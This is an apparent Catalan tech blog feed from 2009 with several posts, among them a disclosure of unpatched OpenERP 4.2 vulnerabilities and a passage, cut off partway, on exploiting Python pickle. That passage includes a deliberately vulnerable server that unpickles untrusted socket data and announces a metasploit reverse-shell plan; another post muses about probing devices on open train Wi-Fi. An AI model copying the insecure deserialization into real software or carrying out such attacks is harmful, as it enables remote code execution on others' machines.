&lt;/b&gt;Un cop tingueu la ROM, primer l&#39;heu de d&#39;extreure del zip en que ve. El fitxer que ens interessa és el &lt;b&gt;system.img&lt;/b&gt; aquest és un fitxer que és part del sistema &lt;a href=&quot;http://www.android.com/&quot; id=&quot;mx7w&quot; title=&quot;Android&quot;&gt;Android&lt;/a&gt; i està en el format &lt;a href=&quot;http://en.wikipedia.org/wiki/YAFFS&quot; id=&quot;p48d&quot; title=&quot;YAFFS&quot;&gt;YAFFS&lt;/a&gt;. Per aconseguir-ho utilitzarem el projecte &lt;a href=&quot;http://code.google.com/p/unyaffs&quot; id=&quot;mrop&quot; title=&quot;unyaffs&quot;&gt;unyaffs&lt;/a&gt; (Podem utilitzar el pre-compilat o compilar-lo des del subversion).&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New;&quot;&gt;$ unzip CLICIMG_Click_HTC_WWE_1.65.405.1_WWE_release_signed.zip&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New;&quot;&gt;$ svn checkout &lt;/span&gt;&lt;i style=&quot;font-family: Courier New;&quot;&gt;http&lt;/i&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;://unyaffs.googlecode.com/svn/trunk/ unyaffs&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New;&quot;&gt;$ cd unyaffs&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New;&quot;&gt;$ gcc -o unyaffs unyaffs.c&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New;&quot;&gt;$ unyaffs system.img&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ara tindrem diverses carpetes creades, la que ens interessa és la que es diu &lt;b&gt;app&lt;/b&gt;, aquí és on hi trobarem els paquets que ens interessen &lt;b&gt;Talk.apk&lt;/b&gt; i &lt;b&gt;YouTube.apk&lt;/b&gt;. Els copiem a la SD del mòbil per després instal·lar-los.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Instal·lar els paquets&lt;br /&gt;
&lt;br /&gt;
&lt;/b&gt;Abans d&#39;instal·lar els paquets necessitem un gestor de fitxers, recomano l&#39;&lt;a href=&quot;http://www.androidtapp.com/astro-file-manager/&quot; id=&quot;wq8o&quot; title=&quot;ASTRO&quot;&gt;ASTRO&lt;/a&gt;. El podem instal·lar des del Market.&lt;br /&gt;
Un cop el tinguem instal·lat, obrim la SD i obrim cada paquet amb l&#39;ASTRO i l&#39;instal·lem :)</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/4008231699075797228/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/recuperar-aplicacions-google-amb-lhtc.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4008231699075797228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4008231699075797228'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/recuperar-aplicacions-google-amb-lhtc.html' title='Recuperar aplicacions Google amb l&#39;HTC Tattoo d&#39;Orange'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-8503510457462892876</id><published>2009-11-13T22:00:00.014+01:00</published><updated>2009-11-14T11:07:58.036+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="seguretat"/><category scheme="http://www.blogger.com/atom/ns#" term="wifi"/><title type='text'>Wifi a RENFE &#39;Media Distancia&#39;</title><content type='html'>Doncs sí, resulta que als nous trens de RENFE, els anomenats &lt;i&gt;Mitja distància&lt;/i&gt;, hi ha access points amb el ESSID: linksys. De fet la majoria té aquesta ESSID, perquè alguns ja han anat canviant els noms de xarxa per:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;El revisor folla&lt;/li&gt;
&lt;li&gt;0wn3d&lt;/li&gt;
&lt;li&gt;Com collons va això?&lt;/li&gt;
&lt;li&gt;etc...&lt;/li&gt;
&lt;/ul&gt;I la veritat és que no és difícil de fer això... amb una mica d&#39;imaginació i nocions &lt;b&gt;molt&lt;/b&gt; bàsiques ho pot fer tothom.&lt;br /&gt;
&lt;br /&gt;
La xarxa wifi en sí no serveix per res, de moment no té sortida a Internet, però em pregunto... hi ha molts dispositius que es connecten automàticament sense preguntar quan es troben una xarxa wifi que oberta i que dona direcció IP. Per tant potser ens mantindrà entretinguts estudiant aparells connectats a aquesta xarxa si el viatge és avorrit :D</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/8503510457462892876/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/wifi-renfe-media-distancia.html#comment-form' title='1 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8503510457462892876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8503510457462892876'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/wifi-renfe-media-distancia.html' title='Wifi a RENFE &#39;Media Distancia&#39;'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-8289371305779307231</id><published>2009-11-12T22:00:00.001+01:00</published><updated>2009-11-13T17:04:16.433+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="patches"/><category scheme="http://www.blogger.com/atom/ns#" term="pickle"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="seguretat"/><title type='text'>Seguretat en l&#39;OpenERP 4.2</title><content type='html'>Doncs sembla que la versió 4.2 de l&#39;ERP lliure ja no està mantinguda, encara que en el seu repositori de codi posin la branca 4.2 com a &lt;i&gt;mature&lt;/i&gt; en realitat hi hauria de posar &lt;i&gt;abandoned&lt;/i&gt;. Les raons per pensar això són simples:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;No es fa cap mena de backport de seguretat.&lt;/li&gt;
&lt;li&gt;No es fa cas de cap bug enviat per la branca 4.2.&lt;/li&gt;
&lt;/ul&gt;Tot comença quan fa un temps vaig descobrir que el &lt;a href=&quot;http://ecarreras-tec.blogspot.com/2009/11/explotant-pickle-de-python.html&quot; id=&quot;df9g&quot; title=&quot;protocol pickle de python era poc segur&quot;&gt;protocol pickle de python era poc segur&lt;/a&gt;, després vaig veure que efectivament en la versió 5 estava arreglat, però no estava arreglat a la 4.2 (aquí és quan el meu cap pensa WTF?) quan el &lt;i&gt;patch&lt;/i&gt; que s&#39;ha d&#39;aplicar és molt senzill i a més quan ja està arreglat a la versió 5. Vaig decidir obrir un &lt;a href=&quot;https://bugs.launchpad.net/openobject-server/+bug/452379&quot; id=&quot;qrc4&quot; title=&quot;bug #452379&quot;&gt;bug #452379&lt;/a&gt; adjuntant el patch i un exploit. El bug el vaig fer en privat (com es sol fer amb tots els bugs de seguretat) però al cap d&#39;un mes cansat de la passivitat de l&#39;equip de qualitat de l&#39;OpenERP vaig decidir fer-lo públic. &lt;br /&gt;
&lt;br /&gt;
També vaig enviar un altre &lt;a href=&quot;https://bugs.launchpad.net/openobject-server/+bug/452373&quot; id=&quot;ypu5&quot; title=&quot;bug #452373&quot;&gt;bug #452373&lt;/a&gt;, aquest potser fins i tot més greu, permet executar qualsevol mètode del servidor sense usuari ni contrassenya (això és molt fort). També vaig adjuntar un patch i un possible exploit que llistava tots els usuaris i contrassanyes de l&#39;ERP.&lt;br /&gt;
&lt;br /&gt;
Aprofito per dir que per Internet corren bastants servidors vulnerables corrent amb 4.2. La segona vulnerabilitat de la que parlo també afecta a la versió 5 en primeres versions.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Si teniu servidors en 4.2 en producció apliqueu aquests dos pedaços per seguretat:&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://launchpadlibrarian.net/33748073/tiny_socked_remote_code_execution.diff&quot; id=&quot;rjb1&quot; title=&quot;tiny_socked_remote_code_execution.diff&quot;&gt;tiny_socked_remote_code_execution.diff&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;http://launchpadlibrarian.net/33746633/object_proxy_bypass.diff&quot; id=&quot;xrle&quot; title=&quot;object_proxy_bypass.diff&quot;&gt;object_proxy_bypass.diff&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/8289371305779307231/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/seguretat-en-lopenerp-42.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8289371305779307231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8289371305779307231'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/seguretat-en-lopenerp-42.html' title='Seguretat en l&#39;OpenERP 4.2'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-247654671541189553</id><published>2009-11-05T21:00:00.003+01:00</published><updated>2009-11-06T16:33:14.393+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="gzip"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>Descomprimir gzip en memòria</title><content type='html'>Avui estava arreglant part d&#39;un codi on es descarregava un fitxer &lt;a href=&quot;http://ca.wikipedia.org/wiki/Gzip&quot;&gt;&lt;i&gt;gzip&lt;/i&gt;&lt;/a&gt; de la web i l&#39;havia d&#39;insertar el contingut a una taula d&#39;una base de dades.&lt;br /&gt;
&lt;br /&gt;
Anteriorment el codi feia:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Baixar-se l&#39;stream en gzip.&lt;/li&gt;
&lt;li&gt;Guardar-lo a un fitxer .gz al sistema de fitxers.&lt;/li&gt;
&lt;li&gt;Obrir el fitxer .gz guardat per descomprimir-lo.&lt;/li&gt;
&lt;li&gt;Guardar el fitxer descomprimint al sistema de fitxers.&lt;/li&gt;
&lt;li&gt;Obrir el fitxer descomprimit per llegir-lo&lt;/li&gt;
&lt;li&gt;Guardar-lo a la base de dades&lt;/li&gt;
&lt;/ol&gt;De la llista anterior es pot deduir que hi ha massa descriptors de fitxers, i que l&#39;accés al sistema de fitxers pot ser costosa. Per tant la idea era millorar aquest codi i fer que tant com es pogués es fes en memòria.&lt;br /&gt;
&lt;br /&gt;
Buscant a la &lt;a href=&quot;http://docs.python.org/library/gzip.html&quot;&gt;documentació del mòdul gzip de python&lt;/a&gt; només trobava que el paràmetre que se li podia passar era la ruta d&#39;un fitxer i aquest després l&#39;obria i duia&amp;nbsp; a terme totes les operacions. Finalment buscant pel &lt;a href=&quot;http://www.google.com/&quot;&gt;&lt;i&gt;sant google&lt;/i&gt;&lt;/a&gt;, he trobat una resposta a la magnífica &lt;a href=&quot;http://stackoverflow.com/questions/1543652/python-gzip-is-there-a-way-to-decompress-from-a-string&quot;&gt;pàgina de stackoverflow&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Actualment el codi fa:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Baixar-se l&#39;stream en gzip.&lt;/li&gt;
&lt;li&gt;Descomprimir l&#39;stream gzip en memòria i posant-lo a un altre stream&lt;/li&gt;
&lt;li&gt;Obrir l&#39;stream descomprimit.&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Guardar-lo a la base de dades&lt;/li&gt;
&lt;/ol&gt;&lt;b&gt;Exemple del codi en python&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt; &lt;br /&gt;
&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[...]&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;r = conn.getresponse()&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;c = StringIO.StringIO(r.read())&lt;br /&gt;
m = StringIO.StringIO(gzip.GzipFile(fileobj=c).read())&lt;br /&gt;
c.close()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
# Importem el fitxer&lt;br /&gt;
import csv&lt;br /&gt;
reader = csv.reader(m, delimiter=&#39;;&#39;)&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[...]&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;m.close()&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/247654671541189553/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/descomprimir-gzip-en-memoria.html#comment-form' title='1 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/247654671541189553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/247654671541189553'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/descomprimir-gzip-en-memoria.html' title='Descomprimir gzip en memòria'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-4983885624624351946</id><published>2009-11-04T23:01:00.002+01:00</published><updated>2009-11-04T23:02:42.290+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>Log ascii art</title><content type='html'>Mentres estava provant unes coses amb l&#39;OpenERP, he fet un petit script per deixar encuriosits als administradors d&#39;aquests quan mirin el log :P&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDdkbB15RC5lFZ-sd5BfAoH-BNb1BDf9I0lUkR_eo1kH-XMamYcNAKDMx2h6iOI1o9JfVnET_sx-ecTRq0isw7aPh4pai2IlOTb1c_WlXfWX7-53LntctEV_0WTQRQvtyIQGqWSSefibk/s1600-h/log_ascii_art.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDdkbB15RC5lFZ-sd5BfAoH-BNb1BDf9I0lUkR_eo1kH-XMamYcNAKDMx2h6iOI1o9JfVnET_sx-ecTRq0isw7aPh4pai2IlOTb1c_WlXfWX7-53LntctEV_0WTQRQvtyIQGqWSSefibk/s320/log_ascii_art.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;Una altre cosa que he descobert, és si busqueu &#39;ascii art&#39; al google... mireu com surt el logo de google ;-) són uns freaks.</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/4983885624624351946/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/log-ascii-art.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4983885624624351946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4983885624624351946'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/log-ascii-art.html' title='Log ascii art'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDdkbB15RC5lFZ-sd5BfAoH-BNb1BDf9I0lUkR_eo1kH-XMamYcNAKDMx2h6iOI1o9JfVnET_sx-ecTRq0isw7aPh4pai2IlOTb1c_WlXfWX7-53LntctEV_0WTQRQvtyIQGqWSSefibk/s72-c/log_ascii_art.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-7679604292704690669</id><published>2009-11-03T22:00:00.000+01:00</published><updated>2009-11-03T22:00:32.470+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="LinuxTV"/><category scheme="http://www.blogger.com/atom/ns#" term="TDT"/><title type='text'>Problemes al compilar v4l-dvb i firedtv</title><content type='html'>El dijous vaig actualitzar a Ubuntu 9.10, ja sé que amb el kernel que porta la majoria de drivers de dvb ja hi són... però mira, des de que &lt;a href=&quot;http://ecarreras-tec.blogspot.com/2009/01/fer-funcionar-el-tdt.html&quot;&gt;els vaig compilar un dia&lt;/a&gt;, ara sempre tiro amb l&#39;última versió del seu repositori.&lt;br /&gt;
Avui no hi havia manera d&#39;acabar-los de compilar, em donava el següent error: &lt;b&gt;implicit declaration of function &#39;hpsb_unregister_protocol&#39;&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Resulta que hi ha un error amb el &lt;b&gt;Firedtv&lt;/b&gt;. Sol·lucionar-lo és fàcil. Ens posem a l&#39;arrel del v4l-dvb i executem:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;# make menuconfig&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
Abans hem de tenir instal·lades les &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;libncurses5-dev&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
Busquem el mòdul de Firedtv i el desactivem. Guardem la configuració i ja podem compilar de nou.&lt;br /&gt;
&lt;br /&gt;
Recordar que per actualitzar, tenen fet un &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;make update&lt;/span&gt; que ja actualtizar des del seu repositori :)</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/7679604292704690669/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/problemes-al-compilar-v4l-dvb-i-firedtv.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/7679604292704690669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/7679604292704690669'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/problemes-al-compilar-v4l-dvb-i-firedtv.html' title='Problemes al compilar v4l-dvb i firedtv'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-4087580758458768828</id><published>2009-11-02T22:57:00.003+01:00</published><updated>2009-11-04T07:59:19.509+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hack"/><category scheme="http://www.blogger.com/atom/ns#" term="I+D"/><category scheme="http://www.blogger.com/atom/ns#" term="pickle"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>Explotant pickle de Python</title><content type='html'>&lt;div&gt;Fa un temps em vaig trobar amb un article molt interessant, que explicava com d&#39;&lt;a href=&quot;http://nadiana.com/python-pickle-insecure&quot; id=&quot;rcun&quot; title=&quot;insegur era utilitzar el protocol pickle de python&quot;&gt;insegur era utilitzar el protocol pickle de python&lt;/a&gt;. En la mateixa &lt;a href=&quot;http://docs.python.org/library/pickle.html&quot; id=&quot;n5m1&quot; title=&quot;documentació  del mòdul pickle de python&quot;&gt;documentació&amp;nbsp; del mòdul pickle de python&lt;/a&gt;, ja t&#39;avisa que no facis servir pickle de forma &lt;i&gt;lleugera&lt;/i&gt; sense confiar plenament amb la font de dades.&lt;br /&gt;
Doncs, què passa si ens trobem amb un servidor que utilitza pickle &lt;i&gt;sense assegurar&lt;/i&gt;? podeu comprovar que no és tant difícil trobar-ne... podeu fer una cerca al &lt;a href=&quot;http://www.google.com/codesearch&quot; id=&quot;a.qv&quot; title=&quot;codesearch de google&quot;&gt;codesearch de google&lt;/a&gt; i comprovar-ho vosaltres mateixos.&lt;br /&gt;
El que explicaré és com aprofitar-nos de la des-assistència dels programadors que fan servir pickle sense pensar gaire. Finalment també explicaré diferents maneres de com fer-lo &lt;i&gt;mes segur&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Primer de tot necessitem un servidor vulnerable... no penseu malament, no en farem servir cap de veritat :) sino un que he programat jo especial ment.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New; font-size: x-small;&quot;&gt;import socket&lt;br /&gt;
import cPickle&lt;br /&gt;
&lt;br /&gt;
class BugServer():&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; def run(self):&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HOST = &#39;127.0.0.1&#39;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PORT = 8070&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s.bind((HOST, PORT))&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s.listen(1)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while True:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn, addr = s.accept()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buf = &#39;&#39;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; read = conn.recv(4096)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buf += read&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while read:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;read = conn.recv(4096)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;buf += read&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print len(buf)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cPickle.loads(buf)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn.close()&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;if __name__ == &quot;__main__&quot;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bs = BugServer().run()&lt;br /&gt;
except KeyboardInterrupt:&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;print &#39;Shutting Down...&#39;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ara només fent el que diu la &lt;a href=&quot;http://nadiana.com/python-pickle-insecure&quot; id=&quot;m-io&quot; title=&quot;Nadiana&quot;&gt;Nadiana&lt;/a&gt;, ja tenim gairebé una shell remota on les possibilitats són gairebé il·limitades... però jo us explicaré com integrar-ho amb el &lt;a href=&quot;http://www.metasploit.com/&quot; id=&quot;fe2h&quot; title=&quot;metasploit&quot;&gt;metasploit&lt;/a&gt; (no em posaré a explicar què és el metasploit, ja que es mereix mínim un post sencer, però per qui no ho tingui gaire clar, el metasploit és un framework de seguretat que inclou gran quantitat d&#39;exploits i eines per generar-los)&lt;br /&gt;
&lt;br /&gt;
El que faré seguidament serà generar un binari per pujar-lo al servidor remot i que executi un shell_reverse_tcp (això vol dir que serà ell qui es connectarà a nosaltres i obtindrem una shell a aquella màquina).&lt;br /&gt;
&lt;br /&gt;
